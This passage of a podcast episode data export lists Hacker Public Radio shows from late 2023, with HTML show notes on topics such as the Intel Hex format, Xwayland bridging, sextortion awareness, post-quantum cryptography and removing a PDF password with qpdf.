                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"RV, travel, southeast US, New Orleans","version":0,"downloads":0,"valid":1}, {"id":4001,"date":"2023-12-04","title":"HPR Community News for November 2023","duration":3496,"summary":"HPR Volunteers talk about shows released and comments posted in November 2023","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3978Wed2023-11-01Driving in Virginia.Some Guy On The Internet
                                                            3979Thu2023-11-02FireStick and ad blockingoperat0r
                                                            3980Fri2023-11-03Huntsville to VicksburgAhuka
                                                            3981Mon2023-11-06HPR Community News for October 2023HPR Volunteers
                                                            3982Tue2023-11-07Conversation with ChatGPTArcher72
                                                            3983Wed2023-11-08ChatGPT Output is not compatible with CC-BY-SAKen Fallon
                                                            3984Thu2023-11-09Whoppers. How Archer72 and I made moonshine. Volume one.Some Guy On The Internet
                                                            3985Fri2023-11-10Bash snippet - be careful when feeding data to loopsDave Morriss
                                                            3986Mon2023-11-13Optical media is not deadArcher72
                                                            3987Tue2023-11-14The Grim DawnSome Guy On The Internet
                                                            3988Wed2023-11-15Beeper.comoperat0r
                                                            3989Thu2023-11-16LastPass Security Update 1 November 2023Ahuka
                                                            3990Fri2023-11-17Playing Alpha Centauri, Part 2Ahuka
                                                            3991Mon2023-11-20YOU ARE A PIRATE operat0r
                                                            3992Tue2023-11-21Test recording on a wireless micArcher72
                                                            3993Wed2023-11-22z80 membership cardBrian in Ohio
                                                            3994Thu2023-11-23Lastpass Responseoperat0r
                                                            3995Fri2023-11-24Creating Your Own Internet Radio Streaming DeviceClaudio Miranda
                                                            3996Mon2023-11-27Holiday Challenges Series - Ep 1 - Advent of CodeTrey
                                                            3997Tue2023-11-28The Oh No! News.Some Guy On The Internet
                                                            3998Wed2023-11-29Using open source OCR to digitize my mom's bookDeltaray
                                                            3999Thu2023-11-30Holiday Challenges Series Ep 02 TryHackMe Advent of Cyber ChallengeTrey
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 13 comments in total.

                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 13 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr3978\n(2023-11-01) \"Driving in Virginia.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2023-11-05:\n\"Good show\"

                                                              \n
                                                            • hpr3981\n(2023-11-06) \"HPR Community News for October 2023\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHobson Lane (hobs) on 2023-11-06:\n\"Ken's comment about demand avoidance\"

                                                              \n
                                                            • hpr3984\n(2023-11-09) \"Whoppers. How Archer72 and I made moonshine. Volume one.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2023-11-09:\n\"Really? You are sharing this with the world?\"

                                                              \n
                                                            • hpr3989\n(2023-11-16) \"LastPass Security Update 1 November 2023\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2023-11-17:\n\"Changing passowrds\"

                                                              \n
                                                            • hpr3991\n(2023-11-20) \"YOU ARE A PIRATE \"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2023-11-25:\n\"Loved the show\"

                                                              \n
                                                            • hpr3993\n(2023-11-22) \"z80 membership card\"\nby Brian in Ohio.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2023-11-22:\n\"What fun!\"

                                                              \n
                                                            • hpr3994\n(2023-11-23) \"Lastpass Response\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKevin O'Brien on 2023-11-29:\n\"Loved the show\"

                                                              \n
                                                            • hpr3995\n(2023-11-24) \"Creating Your Own Internet Radio Streaming Device\"\nby Claudio Miranda.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbittin on 2023-11-24:\n\"another tip\"
                                                              • Comment 2:\nTrey on 2023-11-24:\n\"Live radio secure streaming?\"
                                                              • Comment 3:\nClaudioM on 2023-11-29:\n\"Re: another tip\"
                                                              • Comment 4:\nClaudioM on 2023-11-29:\n\"Re: Live radio secure streaming?\"

                                                              \n
                                                            • hpr3998\n(2023-11-29) \"Using open source OCR to digitize my mom's book\"\nby Deltaray.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nbrian-in-ohio on 2023-11-29:\n\"good show\"
                                                              • Comment 2:\nDeltaray on 2023-12-03:\n\"Thanks\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://lists.hackerpublicradio.com/pipermail/hpr/2023-November/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            New Year's Eve show

                                                            \n

                                                            As is now traditional on HPR, there will be a recording made on\nMumble where interested parties may come together to chat. Details will\nbe made available on the website soon, but if you want to join in, the\nofficial times will be:

                                                            \n
                                                            Start at:     Sunday 2023-12-31 10:00 +0000\nEnd at:       Monday 2024-01-01 12:00 +0000
                                                            \n

                                                            Static Site

                                                            \n
                                                              \n
                                                            • In November we finally seem to have perfected the algorithm for\ncomputing the days to the next free slot! The index page contains\nthe result of this, used in the sentence:

                                                              \n
                                                              \n

                                                              If you record your show now it could be released in\nX days.

                                                              \n
                                                              \n

                                                              It initially proved to be difficult to achieve this using a\ncombination of database and template computations. The lessons have been\nlearnt (hopefully).

                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4002,"date":"2023-12-05","title":"Today I learnt - 2023-11-24","duration":477,"summary":"Some odds and ends I learnt today","notes":"
                                                            \n

                                                            What's this?

                                                            \n

                                                            I enjoy finding out about things. Now I'm retired (I have been for 14\nyears), I have time to research subjects I find interesting. So I\ndo!

                                                            \n

                                                            The HPR project is going through a phase where the queue can get very\nlow, so I thought having a subject where I could fire off short shows\nfrom time to time would help with this. Maybe we can make a series where\nothers who like the idea can contribute when the mood takes them!

                                                            \n

                                                            My plan is to keep details to a minimum and provide links to sources\nof more information if you're someone who likes to dig deeper!

                                                            \n

                                                            TIL 1 - is it learnt\nor learned?

                                                            \n

                                                            I discovered that both are acceptable. Both are the past tense (and\npast participle) of the verb \"to learn\":

                                                            \n
                                                              \n
                                                            • learnt is an older form which is more common in British\nEnglish
                                                            • \n
                                                            • learned is more common in US English, and is becoming more\npopular in the UK
                                                            • \n
                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • Grammarist:\nLearned vs. learnt
                                                            • \n
                                                            • BBC\nAsk About English
                                                            • \n
                                                            \n

                                                            TIL 2 - the French word\nfor piggy bank

                                                            \n

                                                            I watch a YouTube channel from a Canadian woodworker who produces\nEnglish and French versions of his episodes. His latest one is about\nmaking a wooden piggy bank, or tirelire in French.

                                                            \n

                                                            I learnt French at school (though I wasn't much good at it), but have\nnever come across this word. My questions are:

                                                            \n
                                                              \n
                                                            • Where does it come from?
                                                            • \n
                                                            • How do you say it?
                                                            • \n
                                                            \n

                                                            The Wiktionary page below has answers to both.

                                                            \n
                                                              \n
                                                            • It's of onomatopoeic origin (representing the rattling of\ncoins).
                                                            • \n
                                                            • There's audio on the page showing how to say it (as well as the IPA\nversion [International Phonetic Alphabet], see below).
                                                            • \n
                                                            \n\n\n

                                                            TIL 3 - how to\npronounce IPA coded words

                                                            \n

                                                            I actually learnt about this a while ago, but I thought now would be\na good time to share.

                                                            \n

                                                            The IPA form of tirelire is /tiʁ.liʁ/ (I\nincluded the enclosing slash delimiters which aren't part of the IPA but\nhave significance; see the IPA Wikipedia page for details). I have seen\nthese symbols for years but have never managed to decode them\nreliably.

                                                            \n

                                                            A few months ago I wondered how to deal with them reliably (and\neasily). There are many sites offering to transcribe English (and other\nlanguages) to IPA, a few of which are free. I only found one that would\nattempt to speak IPA, and that is IPA\nReader.

                                                            \n

                                                            Paste the IPA into the form, select a reader voice, and click \"Read\".\nSome of the voices seem a bit odd. I settled on \"Brian\" for British\nEnglish, and it seems fine.

                                                            \n\n
                                                              \n
                                                            • International\nPhonetic Association - creators of the International\nPhonetic Alphabet
                                                            • \n
                                                            • IPA Reader
                                                            • \n
                                                            \n
                                                            \n","hostid":225,"series":123,"explicit":1,"license":"CC-BY-SA","tags":"learning,learned,learnt,TIL,English,French,phonetics,IPA,tirelire","version":0,"downloads":0,"valid":1}, {"id":4003,"date":"2023-12-06","title":"My road recording setup","duration":1199,"summary":"Sgoti swerves around the city while recording an episode.","notes":"

                                                            I don't really have notes for this episode.

                                                            \n

                                                            You\nhave protections when it comes to automatic debit payments from your\naccount

                                                            \n

                                                            Who\ncan access my bank account without my permission?

                                                            \n

                                                            Thomas\nbagels

                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"driving, Thomas bagels","version":0,"downloads":0,"valid":1}, {"id":4004,"date":"2023-12-07","title":"Wayland to X11 bridge","duration":285,"summary":"Ken found out about x prop and x wayland video bridge","notes":"

                                                            After a strange unnamed window appeared on my desktop, I used\nxprop to identify it and a search lead me to\nxwaylandvideobridge.

                                                            \n

                                                            From the man page of

                                                            \n
                                                            \n

                                                            xprop - property displayer for X

                                                            \n

                                                            SUMMARY
                                                            \nThe xprop utility is for displaying window and font properties in an X\nserver. One window or font is selected using the command line arguments\nor possibly in the case of a window, by clicking on the desired window.\nA list of properties is then given, possibly with formatting\ninformation.

                                                            \n
                                                            \n

                                                            From GitHub KDE\n/ xwaylandvideobridge

                                                            \n
                                                            \n

                                                            About

                                                            \n

                                                            By design, X11 applications can't access window or screen contents\nfor wayland clients. This is fine in principle, but it breaks screen\nsharing in tools like Discord, MS Teams, Skype, etc and more.

                                                            \n

                                                            This tool allows us to share specific windows to X11 clients, but\nwithin the control of the user at all times.

                                                            \n

                                                            How to use

                                                            \n

                                                            xwaylandvideobridge should autostart on login. It will run in the\nbackground. Next time you try to share a window a prompt will appear.\nThe previously selected window should now be available for sharing. The\ntitle will always be \"Wayland to X11 bridge\" no matter what window is\nselected.

                                                            \n

                                                            The system tray icon provides finer control.

                                                            \n
                                                            \n","hostid":30,"series":123,"explicit":0,"license":"CC-BY-SA","tags":"TodayILearned, xprop, XwaylandVideoBridge","version":0,"downloads":0,"valid":1}, {"id":4005,"date":"2023-12-08","title":"Sgoti's reply to multiple shows.","duration":893,"summary":"Sgoti replies to a few HPR Shows.","notes":"

                                                            Sgoti's reply to multiple\nshows.

                                                            \n

                                                            Sgoti replies to a few HPR\nShows.

                                                            \n
                                                              \n
                                                            • Tags: Reply show, password managers, lastpass.

                                                            • \n
                                                            • Reply to: hpr3988\n:: Beeper.com
                                                              \n

                                                            • \n
                                                            • Supporting Source: Beeper chat application
                                                              \n

                                                            • \n
                                                            • Supporting Source: Beeper Github page
                                                              \n

                                                            • \n
                                                            • Supporting Source: Work with us at\nBeeper
                                                              \n

                                                            • \n
                                                            • Reply to: hpr3989 :: LastPass\nSecurity Update 1 November 2023
                                                              \n

                                                            • \n
                                                            • Reply to: hpr3994 ::\nLastpass Response
                                                              \n

                                                            • \n
                                                            • Source: The\nTHREE STOOGES - A Plumbing We Will Go
                                                              \n

                                                            • \n
                                                            • Source: Whitest Kids U Know:\nLeg Peeing
                                                              \n

                                                              \n
                                                                \n
                                                              • This was just funny. I found it while searching for, \"why the\nBritish say things like taking a piss\".
                                                              • \n
                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"reply show, password managers, lastpass","version":0,"downloads":0,"valid":1}, {"id":4006,"date":"2023-12-11","title":"Holiday Challenges Ep 3 SANS Holiday Hack Challenge and KringleCon","duration":160,"summary":"Discussing the SANS Holiday Hack Challenge and KringleCon to help you enjoy the holiday season","notes":"Holiday\nChallenges Series - Ep 3 - SANS Holiday Hack Challenge with\nKringleCon\n

                                                            Since some of the information you are about to hear is time specific,\nI want to let you know that I am recording this near the end of November\nin 2023.

                                                            \n

                                                            If you missed the first episode, which introduces this series, you\ncan go back and listen to HPR3996

                                                            \n

                                                            The SANS Holiday Hack Challenge is an interactive online technology\nand hacking game combined with a virtual security conference, beginning\nin the second week of December. By the time this episode drops, it may\nalready be live. You can tour the North Pole conference facilities,\nmeeting people, interactive non-player characters (NPC), and maybe even\nsome villains from Holiday Hack Challenges past, as you solve problems\nand gather clues which you use to help save Christmas.

                                                            \n

                                                            Everything can be done from within the browser, and did I mention\nthere is a virtual security conference, called KringleCon? Some of the\nbiggest rock stars (and most humble and brilliant people) in\nCyberSecurity speak each year at KringleCon. Many of their talks also\nprovide clues to solving game challenges.

                                                            \n

                                                            Ed Skoudis and his team (The same people who build SANS NetWars) work\ntirelessly year after year to create the most amazing experience,\ncomplete with custom music! This has become one of my favorite holiday\ntraditions each year. You can learn more about the 2023 challenge by\nwatching Ed's Inside SANS Holiday Hack Challenge 2023 YouTube video at\nhttps://www.youtube.com/watch?v=X9Gmdr_CxzQ

                                                            \n

                                                            You can access this year's challenge by visiting sans.org/holidayhack\nor https://www.sans.org/mlp/holiday-hack-challenge-2023/

                                                            \n

                                                            There, you will learn more about all things Holiday Hack before the\ngame opens in the second week of December. If you want to play now, or\njust get a feel for it, you can access three of the previous years'\nchallenges right now at the same site.

                                                            \n

                                                            I am not associated with SANS or the Holiday Hack Challenge in any\nway, other than to have participated for several years now, and I have\nwatched other people learn and grow by taking part in it.

                                                            \n

                                                            I hope that you have enjoyed this short series. If there are other\nonline challenges you find interesting or informative, I encourage you\nto record a show about them.

                                                            \n

                                                            Have a wonderful day.

                                                            \n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"SANS, KringleCon, holiday, challenge","version":0,"downloads":0,"valid":1}, {"id":4007,"date":"2023-12-12","title":"Advent of code day 1-5 catchup","duration":390,"summary":"I talk through the first 5 challenges of this years advent of code.","notes":"\n","hostid":382,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"advent of code, 2023, challenge","version":0,"downloads":0,"valid":1}, {"id":4008,"date":"2023-12-13","title":"Sextortion. Good Heavens!","duration":1046,"summary":"Sgoti talks about sextortion.","notes":"

                                                            Sextortion

                                                            \n
                                                              \n
                                                            • Source: Sextortion employs\nnon-physical forms of coercion to extort sexual favors from the\nvictim. Sextortion refers to the broad category of sexual\nexploitation in which abuse of power is the means of coercion, as well\nas to the category of sexual exploitation in which threatened release of\nsexual images or information is the means of coercion.

                                                            • \n
                                                            • Supporting Source: What\nis Sextortion? An FBI special agent defines sextortion.

                                                            • \n
                                                            • Supporting Source: Sextortion\ncan start on any site, app, messaging platform, or game where people\nmeet and communicate. The FBI has seen a huge increase in the number\nof cases involving children and teens being threatened and coerced into\nsending explicit images online; a crime called sextortion.

                                                              \n
                                                                \n
                                                              • Supporting Source: FBI Special Agent Brian Herrick\ndefines sextortion...
                                                              • \n
                                                              • Supporting Source: Ashley Reynolds was 14 when she was\nvictimized...
                                                              • \n
                                                            • \n
                                                            • Supporting Source: Welcome to FBI-SOS (Safe Online Surfing)\nCyber Surf Island! Here you will learn all about cyber safety and\ndigital citizenship.

                                                            • \n
                                                            • Source: r/Scams: This is a help forum -\nbad advice will get you banned.

                                                            • \n
                                                            • Supporting Source: Post:\nI am being sextorted. Please help me, I feel helpless.

                                                            • \n
                                                            • Supporting Source: Post:\nrando threatening to leak nude picture.

                                                            • \n
                                                            • Supporting Source: Post:\nHi, I am a 14 year old male, I was dumb enough to send someone nudes on\nInstagram and now they threaten to ruin me by posting this\neverywhere.

                                                            • \n
                                                            • Similar sex related scams.

                                                              \n
                                                                \n
                                                              • Supporting Source: Post: It’s\nsaying that my device got infested with a R.A.T. And they want $1600 usd\nin bitcoin within 48 hours.
                                                              • \n
                                                              • Supporting Source: Post:\ndeath threat scam today after sending 3 escorts text messages to see if\nthey'd be open to nude modeling...
                                                              • \n
                                                            • \n
                                                            • Source: r/Sextortion: Are you a\ncurrent or former victim of sextortion or online blackmail?

                                                            • \n
                                                            • Supporting Source: Post:\nSomeone please talk to me.

                                                            • \n
                                                            • Supporting Source: Post:\n107 hours since the incident. I’m safe right?

                                                            • \n
                                                            • Supporting Source: Post:\nJust got scammed.. I'm shaking!!

                                                            • \n
                                                            • Supporting Source: Post:\nnew victim pls help panicking so much!!

                                                            • \n
                                                            • Supporting Source: Post:\nEither made the biggest mistake of my life or the best

                                                            • \n
                                                            • Supporting Source: Post:\nafter 11 months, the person that scammed me sent photos to my\nfamily.

                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Sextortion, FBI help, Blackmail","version":0,"downloads":0,"valid":1}, {"id":4009,"date":"2023-12-14","title":"Reolink CCTV Cams","duration":1956,"summary":"operat0r talks about Reolink CCTV Cams","notes":"

                                                            I talk about Reolink CCTV Cams

                                                            \n\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"CCTV,security","version":0,"downloads":0,"valid":1}, {"id":4010,"date":"2023-12-15","title":"Playing Alpha Centauri, Part 3","duration":1061,"summary":"Part 3 of tips on playing Alpha Centauri","notes":"

                                                            This continues our look at how to play Alpha Centauri, and we look at\ngame concepts that set this game apart from others. This episode looks\nat the Design Workshop, and how to create powerful units for your\nmilitary.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Alpha Centauri","version":0,"downloads":0,"valid":1}, {"id":4011,"date":"2023-12-18","title":"The Intel Hex file format","duration":137,"summary":"A synopsis of this old but far from dead file format","notes":"

                                                            notes:
                                                            \nhttps://en.wikipedia.org/wiki/Intel_HEX

                                                            \n

                                                            an example intel hex file with 1 record containing 3 data bytes (02h\n33h 7ah) and an end of file marker:

                                                            \n
                                                            :03|0030|00|02337A|1E\n:00000001FF
                                                            \n

                                                            espeak incantation:

                                                            \n
                                                            espeak-ng -v mb-us3 -s 163 -p 38 -f intel-hex.org -w intel-hex.wav
                                                            \n

                                                            script:
                                                            \nHello Hacker Public Radio, Brian in Ohio here. I am out from under my\nrock and this episode is about an old file format that despite its age\nis still in use in many places today.

                                                            \n

                                                            That format is the Intel Hex format. What is this format? Glad you\nasked.

                                                            \n

                                                            From the book of knowledge we read,

                                                            \n

                                                            Intel hexadecimal object file format, Intel hex format or Intellec\nHex is a file format that conveys binary information in ASCII text\nform.

                                                            \n

                                                            If you have ever programmed an arduino board the file that is used to\nprogram the board.

                                                            \n

                                                            The file generated by the arduino eye dee eee is an intel hex\nfile.

                                                            \n

                                                            The format consists of any number of lines, called records.

                                                            \n

                                                            Intel HEX consists of lines of ASCII text that are separated by line\nfeed or carriage return characters or both.

                                                            \n

                                                            Each text line contains uppercase hexadecimal characters that encode\nmultiple binary numbers.

                                                            \n

                                                            The binary numbers may represent data, memory addresses, or other\nvalues, depending on their position in the line and the type and length\nof the line.

                                                            \n

                                                            Each text line is called a record.

                                                            \n

                                                            A record consists of six fields that appear in order from left to\nright

                                                            \n
                                                              \n
                                                            1. Start code, one character, an ASCII colon.
                                                            2. \n
                                                            3. Byte count, indicating the number of bytes in the data field.
                                                            4. \n
                                                            5. Address, four hex digits, representing the 16-bit beginning memory\naddress offset of the data.
                                                            6. \n
                                                            7. Record type two hex digits, 00 to 05, defining the meaning of the\ndata field.
                                                            8. \n
                                                            9. Data, a sequence of bytes of data
                                                            10. \n
                                                            11. Checksum, a computed value that can be used to verify the record has\nno errors.
                                                            12. \n
                                                            \n

                                                            An end of file record must occur exactly once per file in the last\nrecord of the file. The byte count is 00, the address field is typically\n0000 and the data field is omitted.

                                                            \n

                                                            A record's checksum byte is the two's complement of the least\nsignificant byte of the sum of all decoded byte values in the record\npreceding the checksum.

                                                            \n

                                                            It is computed by summing the decoded byte values and extracting the\nleast significant byte of the sum, and then calculating the two's\ncomplement of the sum, by inverting its bits and adding one.

                                                            \n

                                                            I have included in the show notes an example of a record with pipes\nused to break up the line.

                                                            \n

                                                            Hope you enjoyed the espeak episode.

                                                            \n

                                                            There are so many ways to produce shows, there is no excuse not\nto!

                                                            \n

                                                            This is Brian in Ohio signing off reminding everyone.

                                                            \n

                                                            We are all creatures of ego.

                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"hobby electronics, retrocomputing, espeak","version":0,"downloads":0,"valid":1}, {"id":4012,"date":"2023-12-19","title":"RE: show comments.","duration":1258,"summary":"Sgoti replies to a comment or two.","notes":"

                                                            RE: show comments.

                                                            \n

                                                            Sgoti replies to a comment\nor two.

                                                            \n
                                                              \n
                                                            • hpr3972 ::\nThunderbird inbox filtering: keeping a clean/orderly inbox.
                                                              \n
                                                            • \n
                                                            • Source: Comment By: frank
                                                              \n
                                                            • \n
                                                            \n
                                                            \n

                                                            Why unsubscribe?

                                                            \n
                                                            \n

                                                            I don't know how it is in the US, but in Europe, a newsletter by law\nneeds to have a clear way of unsubscribing by providing a link\nsomewhere.
                                                            \nWhy unsubscribe? 1. For the environment. It is dirt cheap to spam\ne-mails around. But the amount adds up in electricity and traffic. 2.\nFor your own privacy. 2a. If you use a commercial mail provider that\nscans your mails, then each time you get one of those, it is scanned and\nthe profile on you grows. 2b. In case the sender of the newsletter is\never hacked (chances are it will at a certain point), your address will\nleak to the crackers. 2c. The sender has your address and can (and\nprobably will) trade it for money. In an ideal world (we all like to\nthink that hope dies last) they delete your address when you\nunsubscribe. If not, it's probably a violation of GDPR.

                                                            \n
                                                            \n
                                                            \n
                                                              \n
                                                            • hpr4008 ::\nSextortion. Good Heavens!
                                                              \n
                                                            • \n
                                                            • Source: Comment By: Another Guy on the\ninternet
                                                              \n
                                                            • \n
                                                            \n
                                                            \n

                                                            This show is very opinionated

                                                            \n
                                                            \n

                                                            The nice thing about podcasts and radio is that you can monologue\nwhatever nonsense you like and act like it is the single truth in the\nuniverse. That is exactly what is going on this show. First there is\nsome useful information about sextortion, the forms it manifests in and\nconsequences it can have in real life, that's the good stuff. Then comes\nthe bad and the straight-out ugly bit. While the speaker starts of with\na pretty factual analysis, eventually he slides into a very much\nopinionated stance against any form of digital eroticism. Don't do\n***** kids! Where have we heard that before, right?\nSeriously, if you are an adult having a problem with the fact that\npeople exchange nudes in their sexual discovery journey then that is\njust your own moral problem, do not project that on the rest of the\nworld please. People have done that about sex, drugs, music, religious\nbelieves, cultural habits, and pretty much everything we humans design\nto entertain ourselves and to carry out our identity into the world.\nSaying \"Don't do that\" really is totally random moral stance since what\nis found to be offensive in your part of the world might be totally\ninnocent behavior where I live and vice versa. So, again, because\nrepetition seems to work for Coca-Cola: don't project your own random\nmoral objections onto the world. They are legit, they are rightfully\nyours to keep. But don't try to push them further than that, because\nthat's just randomly stupid.

                                                            \n
                                                            \n
                                                            \n
                                                              \n
                                                            • hpr4008 ::\nSextortion. Good Heavens!
                                                              \n
                                                            • \n
                                                            • Source: Comment By: hpr listener
                                                              \n
                                                            • \n
                                                            \n
                                                            \n

                                                            Poor quality.

                                                            \n
                                                            \n

                                                            SGOTY. Up to this point, your shows have been of good quality and\nwell considered.
                                                            \nI will preface this with the fact that yes, sexstortion is something\nthat exists. Observing some basic safety measures when using the\ninternet could easily prevent it. It is a societal problem in,\nespecially in the age of social media.
                                                            \nThis show however, was a hideous disappointment.
                                                            \nUtterly condescending to other human beings, particularly victims of\nthis. Moral-panic ridden pearl clutching nonsense.
                                                            \nYou opted not to :- Actually speak with any victim of the phenomenon\nabout their lived experience.
                                                            \nNor did you cite any actual subject matter expert, such as Eva\nGalperin (Cybersecurity director at the EFF, works with sextortion\nvictims), Violet Blue (an author and journalist who covers the\nphenomenon and adjacent social/tech matters extensively)
                                                            \nYour sources amount to :-
                                                            \nThe FBI, a government agency known globally for utter incompetence in\nunderstanding social phenomena, and known to frequently lie to further\nits own, often ill-considered goals. and Reddit. REDDIT.
                                                            \nThats a fairly clear cut case of source bias.
                                                            \nRepeated mentions of 'evidence' that you opt not to cite directly or\nclearly.
                                                            \nNothing whatsoever besides moral grandstanding and a baseless belief you\nhave any right to tell others how to conduct their personal lives.
                                                            \nSeriously, DO. BETTER.

                                                            \n
                                                            \n
                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"reply show, sextortion, unsubscribing","version":0,"downloads":0,"valid":1}, {"id":4013,"date":"2023-12-20","title":"Smart Watches gross","duration":1814,"summary":"Operator talks about his setup and issues with smart watches","notes":"

                                                            I talk about my setup and issues with smart watches

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"hacking,smart watches,wearables,android,samsung","version":0,"downloads":0,"valid":1}, {"id":4014,"date":"2023-12-21","title":"Post-Quantum Cryptography Update 1st November 2023","duration":606,"summary":"An NIST guide is published aimed at IT and Security professionals","notes":"

                                                            In May of 2023 a guide was published by NIST that aimed to guide IT\nProfessionals and Security Officers on steps to take as we move into a\nworld where Quantum computing has made traditional cryptography and\nsecurity measures obsolete. This is their take on a best practices\nmanual, and if you are in security or are an IT professional it merits a\ngood look. And it is only 4 pages long, so you can do it easily.

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://www.nccoe.nist.gov/sites/default/files/2023-04/pqc-migration-nist-sp-1800-38a-preliminary-draft.pdf
                                                            • \n
                                                            \n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"quantum computing, post-quantum computing, post-quantum cryptography, cryptography","version":0,"downloads":0,"valid":1}, {"id":4015,"date":"2023-12-22","title":"Value of life, part 0.","duration":1104,"summary":"Wear your secret hat. Sgoti talks about putting a dollar value on a human life.","notes":"

                                                            Value of life, part 0.

                                                            \nWear\nyour secret hat. Sgoti talks about putting a dollar value on a human\nlife.\n
                                                              \n
                                                            • Source: Value of life\n
                                                                \n
                                                              • The value of life is an economic value used to quantify the benefit\nof avoiding a fatality. It is also referred to as the cost of life,\nvalue of preventing a fatality (VPF), implied cost of averting a\nfatality (ICAF), and value of a statistical life (VSL).
                                                              • \n
                                                            • \n
                                                            • Supporting Source: Cost-benefit\nanalysis\n
                                                                \n
                                                              • Cost-benefit analysis (CBA), sometimes also called benefit-cost\nanalysis, is a systematic approach to estimating the strengths and\nweaknesses of alternatives. It is used to determine options which\nprovide the best approach to achieving benefits while preserving savings\nin, for example, transactions, activities, and functional business\nrequirements.
                                                              • \n
                                                            • \n
                                                            • Source: Social Credit\nSystem\n
                                                                \n
                                                              • The Social Credit System is a national credit rating and blacklist\nbeing developed by the government of China. The social credit initiative\ncalls for the establishment of a record system so that businesses,\nindividuals and government institutions can be tracked and evaluated for\ntrustworthiness. There are multiple forms of the social credit system\nbeing experimented with, while the national regulatory method is based\non whitelisting (termed redlisting in China) and blacklisting.
                                                              • \n
                                                            • \n
                                                            • Source: What\nis Body Part Insurance?\n
                                                                \n
                                                              • Insuring body parts isn't anything new in the world of celebrities,\nbut it is a rare type of insurance that now counts athletes among its\nnumbers. The entire point of insuring a body part is to supplement a\nloss of income should that body part become injured, damaged, scarred,\nhandicapped or lost, preventing the individual from continuing to use it\nto generate income.
                                                              • \n
                                                            • \n
                                                            • Source: Pre-existing\ncondition\n
                                                                \n
                                                              • The University of Pittsburgh Medical Center defines a pre-existing\ncondition as a \"medical condition that occurred before a program of\nhealth benefits went into effect\". J. James Rohack, president of the\nAmerican Medical Association, has stated on a Fox News Sunday interview\nthat exclusions, based upon these conditions, function as a form of\n\"rationing\" of health care.
                                                              • \n
                                                            • \n
                                                            • Supporting Source: The\nU.S. Department of Health & Human Services
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"secret hat, value of life","version":0,"downloads":0,"valid":1}, {"id":4016,"date":"2023-12-25","title":"Today I learnt","duration":421,"summary":"Today I learnt how to remove a password from a pdf file","notes":"

                                                            Introduction:

                                                            \n

                                                            In this episode I continue the series \"Today I learnt..\" which was\nstarted by Dave\nMorriss in HPR 4002

                                                            \n

                                                            Show notes:

                                                            \n

                                                            I mention that I first tried to remove the password from my pdf using\nthe excellent pdf manipulation program Okular recommended to me by Dave\nMorriss.

                                                            \n

                                                            After some googling I found the following solution\nto my password protected PDF.

                                                            \n

                                                            The command line program I used to remove the password from my pdf\nwas qpdf.

                                                            \n

                                                            This is the\nMan page documentation for qpdf

                                                            \n

                                                            This is the command I used to remove the password in my pdf

                                                            \n
                                                            Qpdf —decrypt protected.pdf unprotected.pdf
